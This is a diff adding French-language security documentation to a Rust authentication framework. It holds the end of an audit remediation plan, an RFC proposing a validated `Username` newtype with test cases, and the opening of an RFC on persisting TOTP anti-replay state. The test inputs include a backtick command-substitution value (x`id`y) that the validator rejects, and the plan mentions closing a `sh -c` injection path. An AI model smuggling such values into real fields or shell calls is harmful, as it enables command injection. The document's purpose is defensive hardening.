| 292 | +Documenter chaque entrée dans `UPSTREAM_RUSTWARDEN.md` *avant* d’implémenter le workaround, avec date, constat, et lien RFC/PR. | |
| 293 | + | |
| 294 | +1. **PR Security** — TOTP : compter les tentatives (E-3). | |
| 295 | +2. **PR Security** — `KNOWN_EXAMPLES` + placeholder Gitrust (C-7). | |
| 296 | +3. **PR** — `spawn_blocking` backup codes (M-8) ; rate limiter email partagé (M-3) ; `PasswordResetService` appelle la complexité (M-2, si traité comme bug). | |
| 297 | +4. **PR** — bumps `bcrypt` / `rustls` / `h2` (E-12 collatéral). | |
| 298 | +5. **RFC** — Validation charset `username` dans `UserService` / `RegisterRequest` (M-1) — **politique de sécu + défaut**. | |
| 299 | +6. **RFC** — CSP configurable / sans `unsafe-eval` (M-10). | |
| 300 | +7. **RFC** — Changement d’email avec revalidation (M-5) — **schéma/flow**. | |
| 301 | +8. **RFC** — `last_used_step` TOTP (M-7) — **migration**. | |
| 302 | +9. **RFC (plus tard)** — `AuthService` respecte `validation_email_required` (E-4) ; limiteur login sur canal browser (E-2) ; en-têtes COOP. | |
| 303 | + | |
| 304 | +Gitrust n’attend **pas** ces RFC pour se protéger : les workarounds des lots 1–4 ferment les scénarios A–D. | |
| 305 | + | |
| 306 | +--- | |
| 307 | + | |
| 308 | +## Ordre d’exécution recommandé | |
| 309 | + | |
| 310 | +1. Lot 0 (rotation + gitignore) — **avant toute démo**. | |
| 311 | +2. Lot 1 (username + `sh -c` + hooks) — ferme Scénario A. | |
| 312 | +3. Lot 2 C-3 puis E-7/E-8/IDOR — ferme Scénario B. | |
| 313 | +4. Lot 3 XSS + CSP override — ferme Scénario C. | |
| 314 | +5. Lot 4 E-1/E-2 + palliatifs TOTP — ferme Scénario D. | |
| 315 | +6. Lots 5–6 en parallèle (russh, deploy). | |
| 316 | +7. RFCs / PRs rustwarden + `update-project`. | |
| 317 | +8. Lot 7. | |
| 318 | + | |
| 319 | +Vérification par lot : tests unitaires du scénario (username rejeté, `prepare_workspace` sans shell, `merge_pull` 403 sans `can_manage`, templates sans interpolation JS) ; `cargo clippy --workspace -- -D warnings` ; `cargo audit`. |
A
docs/rfcs/0036-username-charset-validation.md
+364
-0
@@ -0,0 +1,364 @@
| 1 | +# RFC 0036 — Validation charset `username` (newtype `Username`) | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / Rustwarden 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Draft | |
| 6 | +- **Apps consommatrices concernées** : Gitrust (newtype local à retirer après Accept + impl) ; tout consommateur qui appelle `UserService::create_user` / `update_profile` ou `POST /api/v1/auth/register` | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : constat M-1 du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 13) | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Introduire un newtype `Username` calqué sur [`TeamSlug`](../../crates/rustwarden-core/src/types/team_slug.rs) (`parse` → `Result<Self, AppError>`) et l’appliquer aux frontières d’écriture (`UserService::create_user`, `UserService::update_profile`, `RegisterRequest`) pour n’accepter que des identifiants GitHub-like (`^[a-z0-9-]{3,39}$`, pas de `--`, pas de `-` en tête/queue, pas de majuscule, liste réservée). Les comptes existants hors charset restent loggables : aucun `CHECK` SQL, aucun rewrite. | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret (audit M-1) | |
| 17 | + | |
| 18 | +Aujourd’hui un username n’est borné que par la **longueur** : | |
| 19 | + | |
| 20 | +- [`RegisterRequest`](../../crates/rustwarden-core/src/auth/handlers.rs) : `#[validate(length(min = 3, max = 64))]` — aucun charset. | |
| 21 | +- [`UserService::create_user`](../../crates/rustwarden-core/src/services/user_service.rs) : insert SeaORM **sans** parse (la longueur n’est même pas re-vérifiée). | |
| 22 | +- [`UserService::update_profile`](../../crates/rustwarden-core/src/services/user_service.rs) : uniquement `len() < 3` (et unicité). Pas de max, pas de charset. | |
| 23 | + | |
| 24 | +Conséquence : un client peut créer `Admin`, `` x`id`y ``, `alice--bob`, `-root`, ou un handle de 64 caractères. Ces valeurs fuient ensuite dans les URLs ActivityPub (`GET /users/{username}`), les logs, les e-mails et les chemins consommateurs (forge). PostgreSQL `UNIQUE` sur `users.username` est **sensible à la casse** : `Alice` et `alice` sont deux comptes. | |
| 25 | + | |
| 26 | +### Qui est impacté | |
| 27 | + | |
| 28 | +- **Gitrust** maintient déjà un newtype local `Username` pour se protéger ; tant que le framework n’en a pas, chaque consommateur réimplémente (ou n’implémente pas) des règles divergentes. | |
| 29 | +- Tout appelant de `UserService::create_user` : register HTTP, admin UI (`rustwarden-ui`), `ensure_default_admin`, OAuth (`generate_unique_username`), `seed`, tests de services. | |
| 30 | +- Les utilisateurs qui se **renomment** via `PUT /settings/profile` (`update_profile`). | |
| 31 | + | |
| 32 | +### Si on ne fait rien | |
| 33 | + | |
| 34 | +Gitrust conserve son newtype à vie (alternative C). Les autres apps restent ouvertes à l’injection de charset (backticks, collision de casse, usurpation de segments d’URL). Le framework documente encore `john_doe` (underscore) dans la rustdoc de `register` alors que Gitrust refuse déjà ce motif. | |
| 35 | + | |
| 36 | +### Urgence | |
| 37 | + | |
| 38 | +Pas un patch `1.0.1` : le plan Option A isole le charset en RFC pour ne pas casser les comptes existants ni livrer un rewrite. Bloquant pour retirer le newtype Gitrust après Accept + impl. Pas d’incident production unique ; durcissement de politique d’identité (critère RFC obligatoire : changement de politique de sécurité + nouvel item `pub`). | |
| 39 | + | |
| 40 | +## Non-goals | |
| 41 | + | |
| 42 | +- **Pas de migration SQL** qui réécrit `users.username` existants, ni de `CHECK` sur la colonne. | |
| 43 | +- **Pas de patch 1.0.1** : ce document est Draft ; l’implémentation commence seulement après `Accepted`. | |
| 44 | +- **Pas de charset e-mail** (RFC 0038 pour le changement d’e-mail / revalidation). | |
| 45 | +- **Pas de fold silencieux** `to_ascii_lowercase` : `Alice` est rejeté, pas normalisé en `alice`. | |
| 46 | +- **Pas de validation au login** (`AuthService::authenticate_user`, `get_user_by_username`) : un compte grandfathered doit encore s’authentifier. | |
| 47 | +- **Pas de changement de signature** de `create_user` / `update_profile` (restent `String`) : le parse est interne. | |
| 48 | +- **Pas de newtype sur les lectures** (`user::Model.username` reste `String`). | |
| 49 | +- **Pas de réserve de `robots.txt`** : ce n’est pas un username (le point `.` est hors charset). | |
| 50 | + | |
| 51 | +## API proposée | |
| 52 | + | |
| 53 | +Nouveau fichier `crates/rustwarden-core/src/types/username.rs`, exporté comme `TeamSlug` (`types/mod.rs` + `prelude`). | |
| 54 | + | |
| 55 | +Règles de `Username::parse` (après `trim`, **sans** fold de casse) : | |
| 56 | + | |
| 57 | +| Règle | Accepté | Rejeté | | |
| 58 | +|---|---|---| | |
| 59 | +| Longueur | 3–39 | `ab`, 40+ caractères, vide / blancs seuls | | |
| 60 | +| Charset | `[a-z0-9-]` | majuscule (`Alice`), `_`, `.`, espace, backtick | | |
| 61 | +| Hyphen | `squad-42` | `-alice`, `alice-`, `alice--bob` | | |
| 62 | +| Réservés | — | `team_slug::RESERVED` **plus** `me`, `explore` | | |
| 63 | + | |
| 64 | +`robots.txt` échoue sur le charset (`.`), pas sur la liste réservée. | |
| 65 | + | |
| 66 | +Liste réservée actuelle de [`team_slug::RESERVED`](../../crates/rustwarden-core/src/types/team_slug.rs) (constante de module, pas un associated const `TeamSlug::RESERVED`) : | |
| 67 | + | |
| 68 | +`admin`, `api`, `auth`, `health`, `login`, `logout`, `new`, `oauth`, `register`, `settings`, `signin`, `signout`, `signup`, `static`, `teams`. | |
| 69 | + | |
| 70 | +À l’implémentation : tester `team_slug::RESERVED.contains(&s)` **puis** `["me", "explore"]`, pour ne pas dupliquer le tableau (risque de drift). Voir Open questions pour le conflit `admin` / `ADMIN_USERNAME`. | |
| 71 | + | |
| 72 | +### Newtype | |
| 73 | + | |
| 74 | +```rust | |
| 75 | +// crates/rustwarden-core/src/types/username.rs | |
| 76 | +use crate::error::AppError; | |
| 77 | +use crate::types::team_slug; | |
| 78 | + | |
| 79 | +/// Extra reserved logins on top of [`team_slug::RESERVED`]. | |
| 80 | +pub const EXTRA_RESERVED: &[&str] = &["me", "explore"]; | |
| 81 | + | |
| 82 | +/// Validated local username. Construct only via [`Username::parse`]. | |
| 83 | +#[derive(Debug, Clone, Eq, PartialEq, Hash, serde::Serialize, serde::Deserialize)] | |
| 84 | +#[serde(transparent)] | |
| 85 | +pub struct Username(String); | |
| 86 | + | |
| 87 | +impl Username { | |
| 88 | + /// Parse a raw string into a `Username`. | |
| 89 | + /// | |
| 90 | + /// Trims ASCII/Unicode whitespace, then enforces charset and reserved | |
| 91 | + /// names. Uppercase is rejected (no silent fold) so `Alice` and `alice` | |
| 92 | + /// cannot collide. Returns [`AppError::Validation`] (HTTP 400). | |
| 93 | + pub fn parse(raw: &str) -> Result<Self, AppError> { | |
| 94 | + let s = raw.trim(); | |
| 95 | + if s.len() < 3 || s.len() > 39 { | |
| 96 | + return Err(AppError::Validation( | |
| 97 | + "Username must be 3-39 characters".into(), | |
| 98 | + )); | |
| 99 | + } | |
| 100 | + if s.starts_with('-') || s.ends_with('-') { | |
| 101 | + return Err(AppError::Validation( | |
| 102 | + "Username cannot start or end with '-'".into(), | |
| 103 | + )); | |
| 104 | + } | |
| 105 | + if s.contains("--") { | |
| 106 | + return Err(AppError::Validation( | |
| 107 | + "Username cannot contain consecutive '-'".into(), | |
| 108 | + )); | |
| 109 | + } | |
| 110 | + if !s | |
| 111 | + .chars() | |
| 112 | + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') | |
| 113 | + { | |
| 114 | + return Err(AppError::Validation( | |
| 115 | + "Username must only contain lowercase letters, digits, and '-'".into(), | |
| 116 | + )); | |
| 117 | + } | |
| 118 | + if team_slug::RESERVED.contains(&s) || EXTRA_RESERVED.contains(&s) { | |
| 119 | + return Err(AppError::Validation(format!("Username '{s}' is reserved"))); | |
| 120 | + } | |
| 121 | + Ok(Self(s.to_string())) | |
| 122 | + } | |
| 123 | + | |
| 124 | + /// Return the username as a string slice. | |
| 125 | + pub fn as_str(&self) -> &str { | |
| 126 | + &self.0 | |
| 127 | + } | |
| 128 | + | |
| 129 | + /// Consume the `Username` and return the inner `String`. | |
| 130 | + pub fn into_inner(self) -> String { | |
| 131 | + self.0 | |
| 132 | + } | |
| 133 | +} | |
| 134 | + | |
| 135 | +impl std::fmt::Display for Username { | |
| 136 | + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 137 | + f.write_str(&self.0) | |
| 138 | + } | |
| 139 | +} | |
| 140 | +``` | |
| 141 | + | |
| 142 | +Les snippets ci-dessus sont **proposés** (Draft) : ils ne compilent pas tant que le type n’est pas livré. Ils reprennent le patron réel de `TeamSlug::parse` / `as_str` / `into_inner` (vérifié : 8 tests `types::team_slug` verts). | |
| 143 | + | |
| 144 | +### Frontières d’écriture (signatures actuelles, inchangées) | |
| 145 | + | |
| 146 | +Signatures **aujourd’hui** (à conserver) : | |
| 147 | + | |
| 148 | +```rust | |
| 149 | +// crates/rustwarden-core/src/services/user_service.rs | |
| 150 | +impl UserService { | |
| 151 | + pub async fn create_user( | |
| 152 | + db: &DatabaseConnection, | |
| 153 | + username: String, | |
| 154 | + email: String, | |
| 155 | + password_hash: String, | |
| 156 | + must_change_password: bool, | |
| 157 | + ) -> Result<user::Model, AppError> { /* ... */ } | |
| 158 | + | |
| 159 | + pub async fn update_profile( | |
| 160 | + db: &DatabaseConnection, | |
| 161 | + user_id: Uuid, | |
| 162 | + username: Option<String>, | |
| 163 | + email: Option<String>, | |
| 164 | + ) -> Result<user::Model, AppError> { /* ... */ } | |
| 165 | +} | |
| 166 | + | |
| 167 | +// crates/rustwarden-core/src/auth/handlers.rs | |
| 168 | +#[derive(Debug, Deserialize, Validate)] | |
| 169 | +pub struct RegisterRequest { | |
| 170 | + /// Desired login name (3–39 characters after this RFC; currently 3–64). | |
| 171 | + #[validate(length(min = 3, max = 39))] | |
| 172 | + pub username: String, | |
| 173 | + #[validate(email)] | |
| 174 | + pub email: String, | |
| 175 | + #[validate(length(min = 8))] | |
| 176 | + pub password: String, | |
| 177 | +} | |
| 178 | +``` | |
| 179 | + | |
| 180 | +Comportement **après Accept** : | |
| 181 | + | |
| 182 | +1. `create_user` appelle `Username::parse(&username)?` **avant** l’`insert`. Le `String` persisté est `parse(...).into_inner()` (déjà trimé). | |
| 183 | +2. `update_profile` appelle `Username::parse` **seulement** si `username` est `Some` **et** différent du username courant (rename). Un update e-mail seul (`username: None`) ne touche pas le charset — grandfathering. Si le client renvoie le même username hors charset (formulaire profil), ne pas échouer : ce n’est pas un rename. | |
| 184 | +3. `register` garde `payload.validate()` (longueur) **et** `Username::parse(&payload.username)?` avant `create_user` (défense en profondeur ; `create_user` reste la porte unique même si un autre handler bypasse `RegisterRequest`). | |
| 185 | + | |
| 186 | +### Usage consommateur | |
| 187 | + | |
| 188 | +```rust | |
| 189 | +use rustwarden_core::error::AppError; | |
| 190 | +use rustwarden_core::types::Username; | |
| 191 | + | |
| 192 | +fn accept_login_name(raw: &str) -> Result<String, AppError> { | |
| 193 | + Ok(Username::parse(raw)?.into_inner()) | |
| 194 | +} | |
| 195 | + | |
| 196 | +async fn create_via_service( | |
| 197 | + db: &sea_orm::DatabaseConnection, | |
| 198 | +) -> Result<(), AppError> { | |
| 199 | + // create_user still takes String; invalid values now return AppError::Validation. | |
| 200 | + let _user = rustwarden_core::services::user_service::UserService::create_user( | |
| 201 | + db, | |
| 202 | + "alice".into(), | |
| 203 | + "alice@example.com".into(), | |
| 204 | + hashed_password(), | |
| 205 | + false, | |
| 206 | + ) | |
| 207 | + .await?; | |
| 208 | + Ok(()) | |
| 209 | +} | |
| 210 | + | |
| 211 | +fn hashed_password() -> String { | |
| 212 | + unimplemented!("placeholder for the RFC usage sketch") | |
| 213 | +} | |
| 214 | +``` | |
| 215 | + | |
| 216 | +`hashed_password()` est un placeholder de documentation : ne pas copier en production. | |
| 217 | + | |
| 218 | +### Call sites à adapter dans le **même** PR d’implémentation | |
| 219 | + | |
| 220 | +Sans changer leur API publique, ces chemins cassent si `create_user` parse et qu’ils produisent encore `_` / majuscules / `admin` : | |
| 221 | + | |
| 222 | +| Call site | Motif actuel | Action après Accept | | |
| 223 | +|---|---|---| | |
| 224 | +| [`OAuthService::generate_unique_username`](../../crates/rustwarden-core/src/services/oauth/service.rs) | filtre `alphanumeric \|\| '_'` , pas de lowercase | émettre un candidat qui passe `Username::parse` (hyphen, minuscule, ≤ 39) | | |
| 225 | +| [`AdminConfig::validate`](../../crates/rustwarden-core/src/config/admin.rs) | 3–64, `[A-Za-z0-9_-]` | déléguer à `Username::parse` (voir Open questions `admin`) | | |
| 226 | +| [`ensure_default_admin`](../../crates/rustwarden-core/src/services/default_admin_service.rs) | `create_user(config.username)` défaut `"admin"` | `"admin"` est dans `team_slug::RESERVED` | | |
| 227 | +| rustdoc `register` / JWT examples | `john_doe` | remplacer par `john-doe` / `alice` | | |
| 228 | + | |
| 229 | +`seed.rs` (`richie`, `fonzie`, …) et les tests qui créent `alice` restent valides. | |
| 230 | + | |
| 231 | +## Analyse de compatibilité | |
| 232 | + | |
| 233 | +Checklist : | |
| 234 | + | |
| 235 | +- [ ] API existante non modifiée → **non-breaking** (patch/minor possible). | |
| 236 | +- [x] API existante étendue avec défaut → **non-breaking** (minor) — *ajout* de `Username` + re-export prelude. | |
| 237 | +- [x] API existante modifiée ou supprimée → **breaking comportemental** (payloads create/register/rename autrefois `200`/`201` → `400`). Signatures `create_user` / `update_profile` / `RegisterRequest.username: String` **inchangées**. SemVer processus §1 : un changement de comportement par défaut est breaking même si ça compile ; à trancher major vs minor Security (Open questions). | |
| 238 | +- [x] Nouveau comportement par défaut → create / rename / register refusent charset hors GitHub-like. Login inchangé. | |
| 239 | +- [ ] Changement de schéma DB → **non** : pas de `CHECK`, pas de rewrite. Grandfathering volontaire. | |
| 240 | +- [x] Changement de format sérialisé → JSON register/profil : la **valeur** acceptée est plus stricte (`max` 64 → 39, plus d’underscore). Pas de nouveau champ. | |
| 241 | + | |
| 242 | +Consommateurs : Gitrust pourra supprimer son newtype dupliqué après bump. Les apps qui créent `John_Doe` devront adapter. | |
| 243 | + | |
| 244 | +## Alternatives considérées | |
| 245 | + | |
| 246 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 247 | + | |
| 248 | +### Alternative A (recommandée) : newtype `Username` + `parse` aux frontières d’écriture | |
| 249 | + | |
| 250 | +**Pros** : une seule implémentation, impossible à contourner via `create_user` (admin UI, OAuth, seed, API). Patron déjà livré (`TeamSlug`). Gitrust retire sa copie. Trim OK, pas de fold → pas de collision `Alice`/`alice`. Grandfathering login préservé. | |
| 251 | + | |
| 252 | +**Cons** : breaking comportemental (underscore, majuscule, longueur > 39). `generate_unique_username` et le défaut `ADMIN_USERNAME=admin` doivent être traités dans le même PR. Charge de tests (batterie `TeamSlug` + reserved extra + backtick). | |
| 253 | + | |
| 254 | +### Alternative B : regex uniquement sur `RegisterRequest` | |
| 255 | + | |
| 256 | +**Pros** : diff minimal (`validator` + une regex). Pas de nouveau type public. | |
| 257 | + | |
| 258 | +**Cons** : `UserService::create_user` reste un trou (admin, OAuth, `ensure_default_admin`, apps qui n’utilisent pas `register`). Exactement le gap M-1. Deux couches (HTTP vs service) divergent. Gitrust ne peut pas supprimer son newtype. | |
| 259 | + | |
| 260 | +### Alternative C (ne rien faire / garder le workaround) : newtype Gitrust forever | |
| 261 | + | |
| 262 | +**Pros** : zéro coût, zéro risque upstream. Comptes exotiques restent créables pour les apps qui le veulent. | |
| 263 | + | |
| 264 | +**Cons** : dette et divergence entre consommateurs ; rustwarden-ui / register HTTP restent ouverts ; impersonation de casse et charset dangereux dans `/users/{username}`. Contredit l’audit M-1 et le processus « politique de sécurité → RFC puis implémentation partagée ». | |
| 265 | + | |
| 266 | +## Testing plan | |
| 267 | + | |
| 268 | +Tests unitaires obligatoires (copier la batterie [`team_slug.rs` tests](../../crates/rustwarden-core/src/types/team_slug.rs) vers ~L76, plus les règles username-only) : | |
| 269 | + | |
| 270 | +- Happy path : `Username::parse("alice")` et `"squad-42"` → `as_str()` identique ; trim `" alice "` → `"alice"`. | |
| 271 | +- Erreur 1 — input invalide charset : `` Username::parse("x`id`y") ``, `"john_doe"`, `"alice.bob"`, `"Alice"` (majuscule, **pas** de fold). | |
| 272 | +- Erreur 2 — contrainte violée forme : `""`, `"ab"` (< 3), 40 caractères, `"-alice"`, `"alice-"`, `"alice--bob"`. | |
| 273 | +- Erreur 3 — reserved : chaque entrée de `team_slug::RESERVED`, plus `me` et `explore`. `robots.txt` est `Err` via charset, pas besoin d’être dans `EXTRA_RESERVED`. | |
| 274 | + | |
| 275 | +Tests d’intégration (service / DB) : | |
| 276 | + | |
| 277 | +- `create_user` refuse `` x`id`y `` avant insert (`AppError::Validation`) ; aucun row `users`. | |
| 278 | +- `create_user("alice")` happy path (MockDatabase ou DB de test existante). | |
| 279 | +- Grandfather : un user déjà en base avec username hors charset **peut encore** être chargé par `get_user_by_username` ; `update_profile(..., username: None, email: Some(...))` réussit sans toucher le username. | |
| 280 | +- Rename : `update_profile` vers `Not-Valid` / `Admin` → `Validation` ; vers `bob` unique → OK. | |
| 281 | + | |
| 282 | +Tests de non-régression : | |
| 283 | + | |
| 284 | +- Code consommateur pré-RFC **compile** (signatures inchangées). | |
| 285 | +- Login / JWT / refresh : pas d’appel à `Username::parse` sur le chemin lecture. | |
| 286 | + | |
| 287 | +Doctests : | |
| 288 | + | |
| 289 | +- Au moins un exemple copie/collable sur `Username::parse` (`alice` OK, `Alice` `is_err()`), exécuté comme doctest. | |
| 290 | + | |
| 291 | +Benchs : non (parse CPU-bound trivial, hors hot path auth bcrypt/JWT). Pas de seuil 10 %. | |
| 292 | + | |
| 293 | +Baseline vérifiée pour cette RFC Draft : `cargo test -p rustwarden-core types::team_slug --lib` → **8 passed**. Les exemples `Username::` ne sont **pas** exécutables avant l’implémentation. | |
| 294 | + | |
| 295 | +## Migration guide | |
| 296 | + | |
| 297 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 298 | + | |
| 299 | +```markdown | |
| 300 | +### API changes | |
| 301 | + | |
| 302 | +**Before (v1.0.x)** : | |
| 303 | +`UserService::create_user` / `RegisterRequest` acceptaient tout `String` de 3–64 | |
| 304 | +caractères (underscores, majuscules, backticks). `update_profile` ne vérifiait | |
| 305 | +que `len() >= 3`. | |
| 306 | + | |
| 307 | +**After (vX.Y.Z)** : | |
| 308 | +Nouveau type public `rustwarden_core::types::Username`. | |
| 309 | +`create_user`, `update_profile` (rename) et `POST /api/v1/auth/register` | |
| 310 | +appellent `Username::parse` : `^[a-z0-9-]{3,39}$`, pas de `--`, pas de `-` | |
| 311 | +en tête/queue, pas de majuscule (pas de fold), noms réservés | |
| 312 | +(`team_slug::RESERVED` + `me` + `explore`). | |
| 313 | +Les comptes déjà en base hors charset restent valides au login. | |
| 314 | +Pas de `CHECK` SQL. | |
| 315 | + | |
| 316 | +```rust | |
| 317 | +// Optional explicit parse in a consumer handler | |
| 318 | +let username = rustwarden_core::types::Username::parse(&raw)?.into_inner(); | |
| 319 | +UserService::create_user(db, username, email, hash, false).await?; | |
| 320 | +``` | |
| 321 | + | |
| 322 | +### Migration steps | |
| 323 | + | |
| 324 | +1. Bump `rustwarden-core` à la version qui livre RFC 0036. | |
| 325 | +2. Auditer les usernames **créés par l’app** (fixtures, OAuth, CLI, seeds) : | |
| 326 | + remplacer `_` par `-`, lowercaser, tronquer à 39, éviter `admin` / `me` / `explore`. | |
| 327 | +3. Gitrust : supprimer le newtype local `Username` au profit de | |
| 328 | + `rustwarden_core::types::Username` (`update-project` / bump path). | |
| 329 | +4. Ne **pas** lancer de rewrite SQL des comptes existants. | |
| 330 | +5. Vérifier `ADMIN_USERNAME` : la valeur par défaut `"admin"` est réservée | |
| 331 | + (voir RFC 0036 Open questions) — définir un login non réservé sur les | |
| 332 | + **nouvelles** installs. | |
| 333 | +``` | |
| 334 | + | |
| 335 | +## Open questions | |
| 336 | + | |
| 337 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 338 | + | |
| 339 | +- [ ] **`ADMIN_USERNAME` défaut `"admin"` vs `team_slug::RESERVED`** : `ensure_default_admin` appelle `create_user("admin")`. Après parse, une install neuve échoue. Trancher : (1) garder `admin` réservé (anti-impersonation `/users/admin`, aligné GitHub) et exiger un `ADMIN_USERNAME` non réservé ; (2) retirer `admin` de la liste **username** tout en le gardant pour les slugs d’équipe ; (3) associated const distincte. Bloquant Accept. | |
| 340 | +- [ ] **SemVer** : breaking comportemental sans changement de signature → major, ou minor `Security` documenté ? Le processus §1 penche major. | |
| 341 | +- [ ] **`update_profile` same-value** : confirmer le skip parse quand `Some(current)` (formulaires qui POST le username courant) pour ne pas bloquer un update e-mail d’un compte grandfathered. | |
| 342 | +- [ ] **OAuth `generate_unique_username`** : dans le PR d’implémentation (recommandé) ou RFC séparée ? Sans alignement, le signup OAuth casse dès que `create_user` parse (`_` aujourd’hui). | |
| 343 | +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. | |
| 344 | + | |
| 345 | +## Tracking issue | |
| 346 | + | |
| 347 | +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant l’audit M-1 et Gitrust comme premier consommateur. Pas d’URL tant que le Draft n’est pas soumis. | |
| 348 | + | |
| 349 | +--- | |
| 350 | + | |
| 351 | +## Score d'évaluation (rempli par les reviewers) | |
| 352 | + | |
| 353 | +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. | |
| 354 | + | |
| 355 | +| Critère | Note (1-5) | Commentaire | | |
| 356 | +|---|---|---| | |
| 357 | +| Généralité | 5 | Tout consommateur de `UserService::create_user` en bénéficie ; Gitrust retire un newtype local. | | |
| 358 | +| Stabilité API | 4 | Signatures inchangées, mais payloads autrefois 200/201 passent en 400 (underscore, casse, max 64→39). | | |
| 359 | +| Performance | 5 | Parse CPU trivial hors bcrypt/JWT ; aucun I/O, aucun bench requis. | | |
| 360 | +| Sécurité | 5 | Ferme M-1 (backticks, collision `Alice`/`alice`, usurpation de segments) sans casser le login grandfathered. | | |
| 361 | +| Complexité d'implémentation | 4 | Un fichier newtype + 3 call sites + OAuth/admin à aligner ; pas d’`unsafe`, pas de migration DB. | | |
| 362 | +| Charge de maintenance | 5 | Zéro nouvelle dépendance ; une liste réservée partagée avec `TeamSlug` (test de non-drift). | | |
| 363 | +| Documentation | 4 | Rustdoc + doctest + CHANGELOG + ce RFC ; examples rustdoc `john_doe` à corriger à l’impl. | | |
| 364 | +| **Total** | **32/35** | (≥ 25 pour Accepted) | |
A
docs/rfcs/0037-totp-last-used-step.md
+348
-0
@@ -0,0 +1,348 @@
| 1 | +# RFC 0037 — Persister l’anti-rejeu TOTP (`last_used_step`) | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Draft | |
| 6 | +- **Apps consommatrices concernées** : Gitrust (déploiements multi-réplicas) ; tout consommateur de `rustwarden-core` qui appelle `TotpService::verify_code` / `verify_and_enable` (API `POST /api/v1/auth/2fa/verify`, UI login 2FA, apps headless) | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : constat M-7 du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 14). RFC **obligatoire** : changement de schéma DB ([`RUSTWARDEN_EVOLUTION_PROCESS.md` §2](../RUSTWARDEN_EVOLUTION_PROCESS.md#2-quand-une-rfc-est-obligatoire)). | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Persister en base le garde anti-rejeu TOTP livré in-process en 1.0.1 (`matching_totp_step` + cache `OnceLock`) via une colonne `user_totp.last_used_step`, mise à jour par un `UPDATE` conditionnel SeaORM, pour que deux réplicas n’acceptent plus le même code. | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret (audit M-7) | |
| 17 | + | |
| 18 | +`totp-rs` avec pas de 30 s et skew ±1 accepte le **même** code pendant ~90 s. Le patch 1.0.1 ferme le rejeu **dans un processus** : | |
| 19 | + | |
| 20 | +- [`matching_totp_step`](../../crates/rustwarden-core/src/services/totp_service.rs) (`pub(crate)`, ~L34–62) : `TOTP::check` (skew ±1, `constant_time_eq`), puis identification du pas qui a **matché** parmi `t-1`, `t`, `t+1` (`unix_time / 30`). | |
| 21 | +- [`totp_replay_guard_accept`](../../crates/rustwarden-core/src/services/totp_service.rs) (~L67–84) : cache `OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>>`, TTL 90 s. Même `(user_id, step)` → `false` (sémantique identique à un code invalide, pas d’oracle). | |
| 22 | +- [`TotpService::verify_code`](../../crates/rustwarden-core/src/services/totp_service.rs) (~L249–268) : `matching_totp_step` puis le garde ; `Ok(false)` si rejeu. | |
| 23 | + | |
| 24 | +Ce cache **ne se partage pas** entre processus. Deux réplicas Gitrust (ou un rolling restart) acceptent le même code une fois chacun. `CHANGELOG.md` 1.0.1 le documente : *« Pas de migration `last_used_step` (RFC 0037) »*. | |
| 25 | + | |
| 26 | +### Quel step stocker | |
| 27 | + | |
| 28 | +Ne **pas** écrire `now / 30` en aveugle. Un code de la fenêtre précédente (`t-1`) serait accepté, `last_used_step` passerait à `t`, et un second code du pas courant pourrait encore passer — ou l’inverse. Il faut retenir le pas renvoyé par `matching_totp_step` (celui dont `totp.generate(step * 30) == code`). | |
| 29 | + | |
| 30 | +### Qui est impacté | |
| 31 | + | |
| 32 | +- Gitrust et tout déploiement `rustwarden-core` à **plus d’une** instance. | |
| 33 | +- Les utilisateurs 2FA : un code OTP déjà consommé reste invalide partout, pas seulement sur le réplica qui l’a vu. | |
| 34 | +- Les opérateurs : une migration SeaORM (`BIGINT NULL`) au bump qui livre cette RFC. | |
| 35 | + | |
| 36 | +### Si on ne fait rien | |
| 37 | + | |
| 38 | +Le garde 1.0.1 reste correct en instance unique. En multi-réplicas, M-7 reste ouvert. Gitrust devrait réimplémenter un store partagé (Redis, etc.) en divergence du framework. | |
| 39 | + | |
| 40 | +### Urgence | |
| 41 | + | |
| 42 | +Pas un patch 1.0.1 (migration). Bloquant pour les déploiements HA dès que 1.0.1 est en prod. Pas d’incident unique documenté ; durcissement authn (critère RFC : schéma DB). | |
| 43 | + | |
| 44 | +## Non-goals | |
| 45 | + | |
| 46 | +- **Pas de relais Evilginx live** : un MITM interactif présente le code **une seule fois** ; ni le garde in-process ni `last_used_step` ne l’arrêtent. | |
| 47 | +- **Pas de changement d’algorithme / digits / période / skew** : SHA1, 6 digits, 30 s, skew 1 (`TOTP::new` actuel). | |
| 48 | +- **Pas de backup codes** : déjà one-shot (`verify_backup_code` retire le hash consommé). | |
| 49 | +- **Pas de Redis / store externe** obligatoire : PostgreSQL (déjà la source de vérité `user_totp`) suffit. | |
| 50 | +- **Pas d’oracle** : rejeu et code faux renvoient tous les deux `Ok(false)` / `TotpFailed` selon le call site actuel — pas de 409 distinct. | |
